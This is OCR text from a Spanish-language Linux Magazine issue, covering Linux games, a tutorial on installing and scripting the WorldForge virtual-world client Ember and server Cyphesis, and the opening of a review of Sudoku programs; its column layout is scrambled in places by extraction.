sus capacidades de producción o investi-

gación, como viene siendo habitual en

este tipo de juegos.

Para mejorar más, si cabe, el conjunto,

resulta que el juego tiene modo online, así

que podremos jugar con hasta 4 amigos,

bien cooperativamente, ya que los reinos

pueden estar aliados, o bien enfrentados,

lo que es más normal.

Tanto los incondicionales de la estrate-

gia como los jugadores casuales disfruta-

rán con este juego que, advertimos, es tre-

mendamente adictivo.

ConclusionesCon todo lo anterior podemos afirmar

que, aunque de media los juegos en

Linux tienen peor calidad y se encuen-

tran en menor número que en otras pla-

taformas, fuera de esta media están

apareciendo en Linux superventas

como Quake 4, Doom 3, Cold War,

Unreal Tournament 2004 y muchos

otros; y además la tendencia al alza es

indiscutible y en no mucho tiempo la

calidad llegará a igualarse o incluso a

superar a la de otras plataformas.

Además la comunidad Linux ha sido el

caldo de cultivo ideal para la creación

de otras líneas de juego como los jue-

gos libres, los juegos a la carta o la

especialización en emulación de juegos

de otras plataformas. �

te donde se desarrollan las misiones del

juego básico.

La manera de recolectar dinero es

curiosa. El recaudador irá casa por

casa recolectando lo justo (salvo que

queramos presionar la economía social

extorsionándolos un poco) y una vez

PORTADA • Juegos Comerciales

22 Número 13 W W W . L I N U X - M A G A Z I N E . E S

[1] Planeshift http://www.planeshift.it

[2] Glest http://www.glest.org

[3] Chromium http://www.reptilelabour.

com/software/chromium

[4] Cold War http://www.coldwar-game.

com

[5] LinuxGamePublishing http://www.

linuxgamepublishing.com

[6] Raydium http://www.raydium.org

[7] CrystalSpace http://www.

crystalspace3d.org

[8] Ogre http://www.ogre3d.org

[9] Guadagames http://www.

guadagames.com

RECURSOS

Figura 4a: Majesty – Esta es una parte del mapa de misiones, donde elegiremos nuestros retos

de acuerdo a su dificultad.

Figura 4b: Majesty – La expansión Northern Expansion nos permitirá jugar en las nevadas

cumbres de la zona norte del continente.

Page 23: Linux Magazine - Edición en Castellano, Nº 13

Como si no tuviése-mos ya bastantecon el mundo

real, en esta época onlineque vivimos, los mundosvirtuales multijugadorestán en auge. Esto hace quepodamos elegir entre un gran núme-ro de ellos cuando queramos transpor-tarnos a una realidad paralela. Sinembargo, los mundos virtuales no sonnuevos, muchos recordaréis los MUDs(Multi User Dungeon), unos juegos derol multijugador online en modo textoque aunque eran muy sencillitos, nosenganchaban de mala manera haciéndo-nos perder nuestras horas de estudio.

Los MMORPG actuales, en su mayo-ría, no son más que la versión tridimen-sional de los MUDs de antaño, como porejemplo Everquest, Star Wars Galaxies oWorld of Warcraft. Todos estos son jue-gos de rol basados casi exclusivamenteen el combate y en la mejora de lashabilidades de tu avatar, aunque tam-

biénexisten otrosjuegos orientados mása la socialización o a lainmersión en una realidad parale-la, en este caso es más apropiado eltérmino “mundo virtual” queMMORPG.

La alternativa del Software Librea todos estos productos propieta-rios es WorldForge [1]. Worldforgees un sistema completo para la crea-ción y desarrollo de MMORPGs ymundos virtuales. Es importante resal-tar que WorldForge no es un juego, sinoun sistema consistente en un protocoloy distintos servidores y clientes que nospermitirán crear y jugar en nuestros pro-pios mundos. Por eso no tiene sentidohablar de “el mundo de WorldForge” o“las reglas de WorldForge”, porejemplo, ya que la definición delmundo y las reglas del juego

Forja de Mundos

WORLD FORGE

23

WorldForge • PORTADA

23Número 13

El sistema de mundos virtuales WorldForge, diseñado

como la alternativa libre a los MMORPGs (Massively Multi-

player Online Roleplaying Games), nos permite crear nues-

tro propio mundo virtual y sumergirnos en él en un entorno

3D. POR MIGUEL GUZMAN MIRANDA

Cyphesis: Alistair Riddoch, Ahiplan Oy,

Indri: James Turner, Sear: Simon

Goodall, Ember: Erik Hjortsberg, Miguel

Guzmán, Colaboradores: Kai Blin, Hans

Häggström, Hagen Möbius, Media:

Andor Holtsmark, Jason Oppel, Valerie

A. Valusek, Malcolm Walker, Jayr,

ChienNoir, Infra: Mike Taylor, Jack

Cummings, Philipp Kaluza, Anubis,

Elefth, Legal: Dave Turner

Créditos de WorldForge

W W W . L I N U X - M A G A Z I N E . E S

Page 24: Linux Magazine - Edición en Castellano, Nº 13

tos de softwarelibre, básicamentetodos los compo-nentes funciona-les están dentrodel código deSear, como pue-den ser el motor3D (usa directa-mente OpenGL) yel sistema de ven-tanas. En contra-posición, la filoso-fía de Ember es“recicla lo quepuedas”, es decir,Ember utilizasobre todo librerí-as externas, porejemplo utilizaOGRE como motor 3D y CEGUI comosistema de ventanas.

En la práctica los dos implementanmás o menos la misma funcionalidad.Sear es más eficiente, debido a que utili-za sobre todo código propio, mientrasque Ember es más pesado y necesitauna tarjeta aceleradora gráfica máspotente. Para compensar, Ember es grá-ficamente más vistoso.

En este artículo describiremos la ins-talación del cliente Ember y del servidorCyphesis, así como la definición delmundo para que podáis modificarlo ycrear el vuestro propio. Si os gusta, osinvitamos a probar el resto de elemen-tos de WorldForge. En la sección deRecursos encontraréis las URLs, listas decorreo, IRC, etc. para contactar con losdesarrolladores.

Instalación del ClienteEmberLa instalación del cliente Ember es muysencilla puesto que viene en un formatodenominado autopackage. Es un instala-dor con interfaz gráfica, muy al estilo delos instaladores de windows, para olvi-darnos de problemas de dependencias ydemás.

Podemos descargar el archivo de lapágina de Ember en [2]. Desde estapágina también podemos descargar elcódigo fuente de Ember y compilarlonosotros mismos, es más eficiente por-que es una compilación dinámica, perotenemos que instalar también todas lasdependencias. Como Ember tienemuchas dependencias os recomenda-

mos que para la primera toma de con-tacto con WorldForge utilicéis el auto-package.

Descargamos el archivo ember-X.X.X.x86.package que aparezca en lapágina. En el momento de escribir esteartículo la versión más reciente deEmber es la 0.3.4, con lo cual el archivoactual es ember-0.3.4.x86.package. Esposible que nos encontremos con unaversión posterior, aunque la forma deinstalación será la misma.

Tras descargar el archivo debemosejecutarlo:

se crean mediante scripts en el servidor.¡Podrás hacer el mundo que quieras conWorldForge!

WorldForge viene con un juego “pordefecto”, que es el que se utiliza parademostrar las capacidades del sistema.Este juego es actualmente Mason, elcual está orientado hacia la creación yconstrucción, donde los jugadores pue-den utilizar herramientas. Por ejemplopuedes utilizar un hacha para cortar unárbol y después utilizar un yesqueropara prender fuego a la leña conseguida.

Arquitectura deWorldForgeWorldForge sigue una arquitecturacliente/servidor. Todos los componentesutilizan un protocolo común, así quecualquier cliente podrá conectarse acualquier servidor mientras hablen lamisma versión del protocolo. En la prác-tica, existe un servidor funcional (aun-que hay otro en desarrollo) y dos clien-tes 3D.

El protocolo de WorldForge se llamaAtlas. Es un protocolo orientado a latransmisión de información de mundosvirtuales, y básicamente lo que hace esdescribir entidades y operaciones delmundo virtual. Atlas también se utilizapara la definición del mundo en el servi-dor.

El servidor funcional de WorldForgees Cyphesis, un servidor de medianaescala orientado a la inteligencia artifi-cial. Cyphesis utiliza un sistema dereglas basado en objetivos, mediante elcual los personajes controlados por elservidor se comportan de acuerdo a susmetas. Existe un servidor en desarrollo,Indri, orientado a sistemas a gran esca-

la, aunque todavía noexiste una versiónestable del mismo.

Los dos clientesexistentes son Sear yEmber. Son muyparecidos, y tienenprácticamente lamisma funcionali-dad, lo que cam-bia es la filosofíade diseño. Searestá prácticamenteentero “hecho encasa”, y aunquetoma prestado códi-go de otros proyec-

PORTADA • WorlForge

24 Número 13 W W W . L I N U X - M A G A Z I N E . E S

01 $ cyphesis

02 NOTICE: DATABASE: NOTICE:

CREATE TABLE / PRIMARY KEY

will create implicit index

"accounts_pkey" for table

"accounts"

03 NOTICE: DATABASE: NOTICE:

CREATE TABLE / UNIQUE will

create implicit index

"accounts_entity_ent_target_ke

y" for table

"accounts_entity_ent"

04 NOTICE: DATABASE: NOTICE:

CREATE TABLE / PRIMARY KEY

will create implicit index

"entity_ent_pkey" for table

"entity_ent"

05 INFO: Restoring world from

database...

06 INFO: world restored

07 INFO: Running

Cuadro 1: Arranque deCyphesis

Figura 1: Una vista de una torre en un mundo de WorldForge utilizan-

do el cliente Ember.

Page 25: Linux Magazine - Edición en Castellano, Nº 13

chmod +x ember-0.3.4.x86.packag

./ember-0.3.4.x86.package

Cuando instalemos cualquier autopac-kage por primera vez, el sistema necesi-tará descargarse los archivos básicos deautopackage (autopackage.tar.bz2).Esto sólo será necesario hacerlo unavez, ya que esta instalación servirá paraposteriores autopackages.

Supondremos que es la primera vezque instalamos un autpackage (y si no loes, entonces ya sabes cómo funcionatoda esta historia…). Tras descargarse elcódigo de autopackage nos pedirá la con-traseña de root para instalarse a nivel desistema. Si no se la proporcionamos, loinstalará únicamente para el usuariolocal (normalmente esta segunda opción

es suficiente, salvo que queramosinstalar autopackage y Ember

para varios usuarios)Tras instalar el códi-go común del auto-

package, se instala-rá Ember. Unaventana nos iráinformando delprogreso.Cuando finali-ce, nos mos-trará el tra-bajo realiza-do y cómodesinstalar el

paquete. Eneste caso, laforma de des-

instalar

Ember es tan sen-cilla y limpiacomo ejecutar“package removeember” desde lalínea de coman-dos. Autopackagey Ember se insta-lan en nuestrodirectorio de usua-rio bajo “.local”.Podemos arrancarEmber desde elmenú de inicio denuestro escritorio,o bien con elcomando “ember”.En algunos casos

raros el autopacka-ge no actualiza

correctamente el PATH y elLD_LIBRARY_PATH. En esos supuestostendremos que añadir nosotros mismosal PATH el directorio ~/.local/bin/ y alLD_LIBRARY_PATH el directorio~/.local/lib/ember para que funcionecorrectamente, aunque lo normal es quese añadan correctamente y que con eje-cutar “ember” funcione.

Como Ember es un cliente 3D necesitauna cantidad de objetos multimedia parafuncionar: gráficos, modelos 3D, etc. Paraobtener estos objetos multimedia se utilizauna aplicación específica de WorldForgeque se llama WFUT (WorldForge UpdateTool). Al arrancar Ember, se lanzará WFUTpara descargarse los gráficos del servidor.Este método es mejor que incluir los gráfi-cos en la descarga del cliente, porque asípodrán actualizarse de forma automáticasiempre que se añadan nuevos gráficos alservidor. Podéis encontrar más informa-ción de WFUT en [3].

WFUT necesita tener instalado unamáquina virtual java (una libre comokaffe nos vale, y si no es posible, siemprepodemos descargar la de Sun) y xterm,ya que WFUT utiliza xterm para mostrar-nos el progreso de las descargas.

La primera vez que ejecutemos Embermostrará un mensaje y se abrirá unaventana xterm que nos informará de lasdescargas, y una vez que se hayanactualizado los gráficos, se arrancará laversión gráfica de Ember.

Utilización de EmberAl arrancar Ember nos aparece una ven-tana con la ayuda detallada. De momen-

W W W . L I N U X - M A G A Z I N E . E S

Figura 2: Podemos utilizar el yesquero para encender leña que pre-

viamente hemos cortado.

Page 26: Linux Magazine - Edición en Castellano, Nº 13

tendremos ningu-no, así que tendremos que crearlo. Demomento, sólo se pueden elegir perso-najes de tipo “Settler” (colono) y desexo “Male”.

Apareceremos en el mundo y podre-mos usar las teclas típicas para mover-nos (WSAD), y el ratón para mirar anuestro alrededor. Pulsando sobre losobjetos nos aparecerá un menú contex-tual desde el cual podremos tocar cosas(por ejemplo, si tocamos un roble cae-rán bellotas), cogerlas (pasarán a nues-tro inventario), inspeccionarlas o utili-zar lo que llevemos en la mano. Parautilizar un objeto del inventario pode-mos blandirlo (Wield), así por ejemplopodremos utilizar el yesquero (tinder-box) para prender fuego a las cosas, o lapala (shovel) para hacer agujeros en elsuelo. Podremos talar árboles con elhacha, para después prenderle fuego alos troncos.

También podemos criar cerditos. Sihablamos con el vendedor de cerdos yle decimos “I would like to buy a pig”(para hablar puedes pulsar en la conso-la, que se encuentra en la parte superiorde la pantalla). Nos dirá que un cerditocuesta 10 monedas. Pulsando sobre elmercader, eligiendo la opción “Give”, lepodremos dar las 10 monedas y él nosdará un cerdito (conviene comprobarantes que quedan cerditos en la pocilga,porque si no hay ninguno el muy tunan-te se quedará con nuestro dinero y nonos dará nada).

Ahora podemos buscar un buen roble,soltar a nuestro cerdito cerca y ver cómose come las bellotas y va creciendo.

Tocando el roble caerán más bellotas, ytocando a nuestro cerdito haremos quese desplace en la dirección opuesta,para que vaya a donde queramos, ydiciendo “soweee” el cerdito nos harácaso y se parará. Cuando estéis criandocerditos… ¡cuidado con el lobo!

Como se puede comprobar, demomento, el juego que viene conWorldForge es más una simulación deun mundo virtual que un juego propia-mente dicho, pero ahora estamosempezando a implementar el combate,así que en breve podremos usar elhacha y el yesquero para tareas másagresivas.

El Servidor CyphesisVamos a ver cómo se compila, instala yconfigura el servidor de WorldForge.Aunque existe un autopackage para elservidor, se recomienda instalarlo comoRPM o compilar directamente las fuen-tes. Podemos descargar las fuentesdesde [4].

Cyphesis necesita las siguientesdependencias:

to sólo se encuentra disponible eninglés, pero eso es porque soy vago yperezoso. Con un poco de suerte en unfuturo no muy lejano estará disponibleel interfaz también en castellano.

Tras echarle un vistazo a la ayuda,podemos cerrar esa ventana. Debajoestá la ventana de servidores, donde nosaparece una lista con los distintos servi-dores que se encuentran activos y susdatos relevantes. Haciendo doble clicksobre el nombre de un servidor nos apa-recerá una ventana de conexión almismo.

Aparte de conectarnos a los servido-res que hay en Internet, también pode-mos montar nuestro propio servidor yconectarnos a él. En el siguiente aparta-do describiremos cómo se instala el ser-vidor y cómo se configura.

Cuando nos conectamos a un servidoraparecerá una ventana para introducirnuestro nombre de usuario y contrase-

ña. Si es la primera vez que nosconectamos, tendremos que

crear la cuenta (pulsamosen el botón “Create”) y

a partir de esa prime-ra vez simplemente

tendremos quehacer “Login”.

Una vez auten-ticados contra elservidor, nos apa-recerá la lista depersonajes quetenemos a nues-tra disposición.Al principio no

PORTADA • WorlForge

26 Número 13 W W W . L I N U X - M A G A Z I N E . E S

Figura 3: Podemos entablar conversación con otros habitantes del

mundo. En este caso, con un vendedor de cerdos.

Figura 4: Panorámica de un pueblo vista a través del cliente Ember.

01 points = { }

02 [... definición de varios pun-

tos aleatorios ...]

03

04 points['0x0'] = [0, 0, 12.8]

05 points['1x0'] = [1, 0, 23.1]

06 points['0x1'] = [0, 1, 14.2]

07 points['1x1'] = [1, 1, 19.7]

Listado 1: Definición delMundo

Page 27: Linux Magazine - Edición en Castellano, Nº 13

• Atlas-C++ es la librería queimplementa el protocolo Atlasde WorldForge

• varconf es una librería de con-figuración de variables

• wfmath es una librería de utili-dades matemáticas específicade WF

• skstream es una librería decomunicaciones específica deWF

• Mercator es la librería de gene-ración procedural de terreno deWF

La página de Cyphesis se enlaza a lasdescargas de sourceforge.net de estaslibrerías.

Para compilarlas se utiliza el sistemahabitual:

./configure && make &&U

make install

En el momento de escribir este artículola versión más reciente de Cyphesis es0.5.2, con las siguientes dependenciasde WorldForge: Atlas-C++ 0.6.0rc1,varconf 0.6.3, wfmath 0.3.4, skstream0.3.5, Mercator 0.2.4.

PostgreSQLCyphesis necesita una base de datos

PostgreSQL para funcionar. Todas las dis-tribuciones de Linux que se preciendeberían venir con PostgreSQL, así quelo mejor que podemos hacer es instalarladirectamente desde nuestra fuente depaquetes favorita.

Ahora tendremos que crear una basede datos para cyphesis que pertenezcaal usuario que va a lanzar el procesocyphesis (por defecto, nuestro usuariolocal).Con su - cambiamos al usuario root, su

- postgres para cambiar al usuario dePostgreSQL y con este usuario creamosel usuario de la BD con el mismo nom-bre que nuestro usuario local:

createuser miguel

Éste necesita tener permisos para crearbases de datos, pero no para crear nue-vos usuarios, aunque no pasa nada por-que los tenga.

Para crear la base de datos de cyphe-sis hacemos:

$ createdb

CREATE DAT

BASE

Si tu usuario local no es el que va a lan-zar cyphesis, habrá que utilizar laopción -O <nombre de usuario> para

WorldForge • PORTADA

01 wolf_knowledge=[('w1','loca-

tion',(90,-90,settlement_heigh

t)),

02 ('w2','loca-

tion',(110,-90,settlement_heig

ht)),

03 ('w3','loca-

tion',(110,90,settlement_heigh

t)),

04 ('w4','loca-

tion',(90,90,settlement_height

))]

Listado 2: Conocimientosdel Lobo

Page 28: Linux Magazine - Edición en Castellano, Nº 13

(por ejemplo con ‘psql cyphesis’).A continuación, arrancamos el servi-

dor (la salida puede verse en el cuadro1) y, ahora que tenemos el servidorcorriendo, será necesario poblar elmundo con contenido. Esto se hace conel comando cyclient.

$ cyclient

La salida de cyclient es una lista muymuy larga de todos los objetos que estácreando en el servidor, junto con suidentificador. Ya tenemos nuestromundo poblado, cosa que podremoscomprobar si nos conectamos con elcliente.

Edición del mundoEl mundo de WorldForge se definemediante scripts en Python en cyphesis.La edición de un mundo es un temademasiado extenso como para poder daruna visión completa en este artículo, asíque daremos simplemente una introduc-ción.

El script principal de definición delmundo en cyphesis es define_world.py.Se encuentra en /usr/local/share/cyphe-

sis/ruleset/mason, y el comando queaplica este script al mundo es cyclient.En este script se definen el terreno y lasentidades que lo pueblan, tanto losobjetos inanimados como las personas yanimales, para los cuales, además sedefinen sus conocimientos y objetivos.

La definición del mapa se hace asig-nandole valores de altura a la rejilla delmapa. El mapa del mundo es una rejillacuyas casillas miden 64x64 metros.Dándole valores a los puntos de la rejillade forma procedural se genera el terrenopara todo el mapa. Esto, en el fichero dedefinición de mundo, se muestra en elListado 1.

Por ejemplo aquí se están definiendo4 puntos de la rejilla. La última líneanos indica que el punto 1x1 de la rejilla(es decir, la coordenada 64 m x 64 m enel mapa) tendrá una altura de 19.7metros. Los puntos intermedios se defi-nen de forma procedural, es decir,mediante un algoritmo pseudoaleatorioque, dada la misma semilla, siempreobtiene el mismo resultado. Asípodemos definir mundos muygrandes con muy pocos puntos, sabien-do que tanto el servidor como todos losjugadores verán el mismo terreno deta-llado gracias al algoritmo pseudoaleato-rio.

Vamos a ver ahora algo de inteligen-cia artificial. Compararemos al cerditocon el lobo y veremos en qué se dife-rencian. Para establecer la inteligenciaartificial se definen unos conocimientosy unos objetivos. El conocimientodetermina las cosas que la entidadconoce del mundo al iniciarse el servi-dor. En este caso los pobres cerditos nosaben nada (porque están encerradosen la pocilga), pero el lobo que es listo,se conoce varias zonas del mapa: (verListado 2).

Ahora asignaremos unos objetivos alas entidades, tal y como se muestra enel Listado 3.Vemos que elcerdito tienemiedo de loslobos, losesqueletosy los can-grejos, y silos vehuiráhasta estaral menos a10 metrosde ellos. Sealimentaráde bellotas,manzanas ychampiñones.El objetivo

que el propietario de esta base de datossea el usuario que vaya a lanzar cyphe-sis. Si va a ser el usuario local, no esnecesario, puesto que por defecto elpropietario de la BD es el usuario que laha creado.

¡Ya tenemos la base de datos listapara que el servidor acceda a ella!

Inicialización del ServidorSólo nos queda inicializar el servidor yecharlo a andar. Primero tendremosque cargar las reglas en la base dedatos. Esto lo hace el comando cyloa-drules:

@LI_$ cyloadrules NOTICE: DATABA-SE: NOTICE:ßß CREATE TABLE / PRI-MARY KEYßß will create implicit inde-xßß “rules_pkey” for table “rules”Reading rules from mason 78 classesstored in ruleßß database. Reading rulesfrom basic 29 classes stored in ruleßßdatabase.

Este comando lee las definiciones delas reglas de unos ficheros XML y lasintroduce en las tablas de la base dedatos.

Si algo ha ido mal nos dará un errory en este caso, revisaremos que la basede datos está correctamente creada yque el usuario local puede acceder

PORTADA • WorlForge

28 Número 13 W W W . L I N U X - M A G A Z I N E . E S

Figura 5: Cria cerdos, corta árboles y inter-

actúa con otros personajes de los mundos de

WorldForge.

01

pig_goals=[(il.avoid,"avoid(['

wolf','skeleton','crab'],10.0)

"),

02 (il.forage,"fora-

ge('acorn')"),

03 (il.forage,"fora-

ge('apple')"),

04 (il.forage,"fora-

ge('mushroom')"),

05 (il.herd,"herd()")]

06

07 wolf_goals=[(il.forage,"fora-

ge('ham')"),

08 (il.hunt,"preda-

te(self,'pig',30.0)"),

09 (il.hunt,"preda-

te(self,'crab',20.0)"),

10 (il.hunt,"preda-

te(self,'squirrel',10.0)"),

11

(il.patrol,"patrol(['w1',

'w2', 'w3', 'w4'])")]

Listado 3: Objetivos delcerdo y del lobo

Page 29: Linux Magazine - Edición en Castellano, Nº 13

de “herd” (manada) hace que el cerditosea gregario, es decir, que se mueva enmanada junto con otros de su especie.

El lobo, en cambio, es un solitariointrépido y no le tiene miedo a nada.Comerá carne si la ve por ahí tirada, encambio, si se percata de la presencia deun cerdito, un cangrejo o una ardilla,los perseguirá para cazarlos y comérse-los. El objetivo de “patrol” (patrullar)indica que el lobo se moverá por unosdeterminados puntos del mapa (queson los que hemos definido en susconocimientos) para acechar así a suspresas.

Para añadir lasentidades almundo los crea-mos usando elelemento m, quees el editor delmapa (mapedi-tor), y que nospermite realizarlas modificacio-nes al mundo (verListado 4). Aquíles estamos asig-nando sus objeti-vos, además deotorgarle las prio-ridades al lobo.Así, si está patru-llando y ve unapresa, dejará de

hacerlo y se dedicará a cazar.La forma de modificar la configura-

ción básica del servidor es detenerlo,modificar el módulo default dedefine_world.py, volver a arrancar elservidor y lanzar cyclient.

Pero también podemos crearnos nues-tro propio módulo de Python en el fiche-ro de definición del mundo ya existente,o en otro nuestro creado aparte (porejemplo, mi_mundo.py), de la siguienteforma:

def mi_modulo(mapeditor):

m = editor(mapeditor)

comando 1

comando 2

[...]

El argumento mapeditor y la creacióndel editor del mapa son necesarios paraque el módulo pueda añadir cosas almundo usando el elemento m, tal ycomo hemos visto anteriormente.

Estas reglas se aplicarían con:

cyclient mi_mundo.m

Nótese que ejecutar cyclient sin ningúnargumento equivale a ejecutar:

cyclient define_world.default

Y así podremos aplicar nuestros propioscambios “en caliente”. Tened en cuentaque el módulo por defecto define prácti-camente el mundo entero, así que si loaplicáis dos veces tendréis todos losobjetos duplicados.

La edición de mundos en WorldForgedaría para escribir bastante más que unartículo, aunque con esto ya es suficien-te para empezar. Se comienza probandoa poner un árbol aquí, una casa allá, yal final acabaréis cambiando la inteli-gencia artificial para que los cerditosvayan cazando a las personas… ¡Ahoratenéis el control de un mundo en vues-tras manos!

Más informaciónSe han creado dos hilos de discusión enlos foros de WorldForge en [6], en lassecciones de Ember y Cyphesis, paradiscutir en castellano sobre este artícu-lo. Intentaré responder todas vuestrasdudas. También se puede contactar conlos desarrolladores de worldforge en elIRC [7], canal #coders, aunque en elIRC el idioma oficial es el inglés. �

WorldForge • PORTADA

29Número 13W W W . L I N U X - M A G A Z I N E . E S

[1] Worldforge: http://www.worldforge.

org

[2] Página de Ember: http://www.

worldforge.org/dev/eng/clients/ember

[3] Información sobre WFUT: http://

worldforge.org/dev/eng/tools/wfut

[4] Fuentes de Cyphesis: http://www.

worldforge.org/dev/eng/servers/

cyphesis

[5] Desarrolladores: http://worldforgedev.

org

[6] Foros: http://forums.worldforgedev.

org

[7] IRC (contiene los canales: #coders

para on-topic, #lounge para off-topic):

irc://irc.worldforge.org

[8] IRC web: http://purple.worldforge.org/

cgiirc

RECURSOS

01 piglet = m.make('pig',

type='pig', xyz=(-3,-1,settle-

ment_height))

02 m.learn(piglet,pig_goals)

03

04 wolf = m.make('wolf',

type='wolf', xyz=(90,-90,set-

tlement_height))

05 m.learn(wolf,wolf_goals)

06 m.know(wolf,wolf_knowledge)

07

m.tell_importance(wolf,il.fora

ge,'>',il.hunt)

08

m.tell_importance(wolf,il.fora

ge,'>',il.patrol)

09

m.tell_importance(wolf,il.hunt

,'>',il.patrol)

Listado 4: Añadimos entida-des al mundo

Figura 6: Al entrar en el pueblo encontramos un mercado con sus

tiendas.

Miguel es

uno de los

desarrollado-

res de Ember,

un cliente 3D

para

WorldForge.

Además es

coautor del

universo de fantasía Cronos: las

Esferas del Tiempo (http://www.

worldforge.org/worlds/cronos).

En el día a día, Miguel trabaja

como Desarrollador para

Telefónica I+D.

EL

AU

TO

R

Page 30: Linux Magazine - Edición en Castellano, Nº 13

30

Programas para el rompecabezas Sudoku

JUEGO SIN LÍMITES

PORTADA • Sudoku

30 Número 13 W W W . L I N U X - M A G A Z I N E . E S

Sudoku es un juego de lógica con nor-

mas sencillas. Siguiendo unas reglas

determinadas, hay que rellenar una cua-

drícula de nueve por nueve celdas con

las cifras 1 hasta 9, sin cálculo alguno.

Los programas expuestos generan nue-

vos campos de juego y ayudan a dar con

la solución si hace falta.

AstronómicoQuien lo desee más barato, puede calcu-

lar los campos de juego con su ordena-

dor Linux, imprimirlos y llevárselos. Esto

proporciona diversión de juego sin lími-

tes, porque en total existen en las 9 por 9

celdas más de 6 x 1021 combinaciones

distintas, tal como calculó el estudiante

de matemáticas Bertram Felgenhauer

[2]. Para solucionar tantas posibilidades,

no bastaría con una vida humana. El

artículo de Wikipedia cuenta un poco

más sobre el origen de Sudoku [3] y la

página web del periódico “El Correo

Digital” ofrece por ejemplo rompecabe-

zas Sudoku [4]. Encontraréis al final de

este artículo dos cuadrículas de Sudoku,

El éxito del año en el campo de los

juegos se llama Sudoku. Desde el

metro al parque, la gente rellena

con su lápiz, en todos los lugares, las cifras

de uno hasta el nueve en pequeñas tablas.

El pasado octubre, en la feria de juegos en

Essen, la Asociación Alemana de la

Industria de Juguetes calificó este nuevo

pasatiempo como la “mega-tendencia”

para el año que viene. Por este motivo, los

fabricantes de juguetes mostraron en dicha

feria más de diez clones diferentes de

Sudoku disfrazados de juegos nuevos [1].

Unos ya consideran Sudoku como el Cubo de Rubik del siglo 21. El juego tiene una lógica parecida al cubo

mágico, pero se puede jugar tanto en papel como sobre el ordenador. Presentamos software que genera

siempre nuevos campos de juego, pero que también ayuda a solucionarlos. POR OLIVER FROMMEL

Page 31: Linux Magazine - Edición en Castellano, Nº 13

uno de nivel fácil y otro

avanzado para probarlas

directamente.

LógicoEl principio del juego es

sencillo: Hay que rellenar

todas las casillas en el

campo de juego con una

cifra del uno al nueve de

tal manera que no se repi-

ta ninguna de ellas en una

misma línea, columna y

subcuadrícula (véase

figura 1), de ahí también

el nombre Sudoku, que

traducido del japonés sig-

nifica más o menos “cifra

soltera”. Bajo estas condiciones y con las

cifras dadas, el jugador reduce cada vez

más la selección para las casillas libres

hasta llegar al punto en el que, para una

celda determinada, sólo quedará un can-

didato.

No hace falta sumar números o el uso

de otras habilidades parecidas. Sudoku

sólo requiere ciertas dotes de combina-

ción y una buena memoria. Lo último es

opcional: Muchos jugadores apuntan los

posibles candidatos para una casilla en

sus rincones para recordarlos en sus

pasos posteriores de razonamiento.

Hay varias estrategias para la solución.

Por ejemplo, es conveniente pensar en

un número que falta todavía en una sub-

cuadrícula y entonces buscar ese núme-

ro en las líneas y columnas que la cru-

zan. Si la cifra ya está presente, se elimi-

na como candidata para la

subcuadrícula. Muchas

veces sólo queda una cifra

como solución viable y al

instante sabremos rellenar

la caja.

El ordenador par-ticipaPara un juego tan lógico

también existen, natural-

mente, unos programas

de ordenador. Los más

sencillos generan cuadrí-

culas y ofrecen la solu-

ción del rompecabezas en

la pantalla. Los usuarios

arraigados de Gnome eli-

gen Gnome-Sudoku [5], un programa

escrito en Python. Calcula juegos

Sudoku con grados de dificultad distin-

tos que vienen preparados con más o

menos cifras. El jugador puede solucio-

nar el rompecabezas generado directa-

mente en una ventana de Gnome (Figura

1).

El programa requiere para su instala-

ción Python 2.4 que está instalado sola-

mente en las distribuciones más recien-

tes. Gnome-Sudoku funciona bien en

principio, pero contiene bastantes erro-

res que, por cierto, no bloquean el pro-

grama, pero que sí pueden frenar un

poco el flujo del juego. Los errores ya

empiezan con la selección del grado de

dificultad, donde el control (Easy hasta

Hard) no causa ningún efecto visible. En

su lugar, es mejor elegir de la lista ofreci-

da, dentro del mismo diálogo, un juego

con un grado de dificultad dado.

De todas formas Gnome-Sudoku tiene

una función bastante práctica llamada

Tracker. Con Tracker se graban una serie

de jugadas que se dejan deshacer más

tarde de un golpe. Quien percibe con el

tiempo que las supuestas cifras de solu-

ción no eran completamente correctas,

puede volver rápidamente a una cuadrí-

cula todavía en buen estado. Se puede

deshacer un solo movimiento fácilmente

con la función Undo.

Gnome-Sudoku ayuda al jugador con

los llamados Hints (Sugerencias).

Cuando el cursor se encuentra en una

casilla, el programa indica con un click

de ratón los candidatos posibles. Si el

cursor no está en ninguna casilla, el pro-

grama reacciona con un mensaje de

error. La opción Resume Game ofrece

31

Sudoku • PORTADA

31Número 13W W W . L I N U X - M A G A Z I N E . E S

continuar juegos interrumpidos desde el

mismo lugar. Para principiantes el

Sudoku de Gnome contiene una ayuda

que introduce los principios del juego y

el uso del programa.

Komfort con KEl equivalente de KDE al Gnome-Sudoku

se llama, como no podía ser de otra

manera, Ksudoku. Para la autocompila-

ción el programa sólo requiere las biblio-

tecas KDE. También se encuentran en la

página web [6] paquetes listos para

Fedora y Debian. Después del arranque a

través de ksudoku aparece una ventana

como en la figura 2.

Jugando con Ksuduko, se aprecia que

ofrece mayor comodidad frente al

Figura 1: Gnome-Sudoku cal-

cula cuadrículas y si se pide,

ofrece sugerencias para su

solución. El campo consiste

en nueve subcuadradrículas

con tres por tres casillas

cada una.

Figura 2: Ksudoku muestra una cuadrícula al

comienzo del juego. El programa marca lí-

neas, columnas y la subcuadrícula actual con

colores.

Figura 3: Pulsando la tecla Shift, Ksudoku

muestra todos los campos que pueden conte-

ner el mismo número que la casilla donde se

encuentra el cursor del ratón (aquí el 6 en el

centro). Todo lo demás lo colorea en rosa.

Figura 4: Ksudoku contiene un modo 3D que

es igual en sus principios a los del juego al

Sudoku original. Se colocan las casillas en el

espacio en lugar de en una superficie de dos

dimensiones.

Page 32: Linux Magazine - Edición en Castellano, Nº 13

parado con el Sudoku analógico en

papel. Quien realmente quiera solucio-

nar su rompecabezas con su propio

esfuerzo no debería usar esta opción.

Por otro lado, el manual del menú de

Ayuda resulta francamente escaso y no

presta ni instrucciones para el uso del

programa ni para el juego en sí. Pero

Ksudoku viene con un modo 3D que

muestra las casillas, normalmente orde-

nadas en dos dimensiones, en un mode-

lo espacial (Figura 4). Esto no altera en

nada los principios del juego, pero el

modo ofrece a jugadores avanzados de

Sudoku una nueva e interesante perspec-

tiva al juego.

Para los fans muy endurecidos,

Ksudoku genera también cuadrículas

más grandes con más de nueve por

nueve casillas. En este modo, como ya

no alcanzan los números de 1 hasta 9, el

programa usa letras en su lugar.

La Solución, a manoAparte de Ksudoku y Gnome-Sudoku,

existen una serie de programas que se

ocupan del popular juego de lógica. El

Sudoko-Solver [7] soluciona los rompe-

cabezas que ni siquiera un experto

sabría. El Sudoku-Explainer [8] en cam-

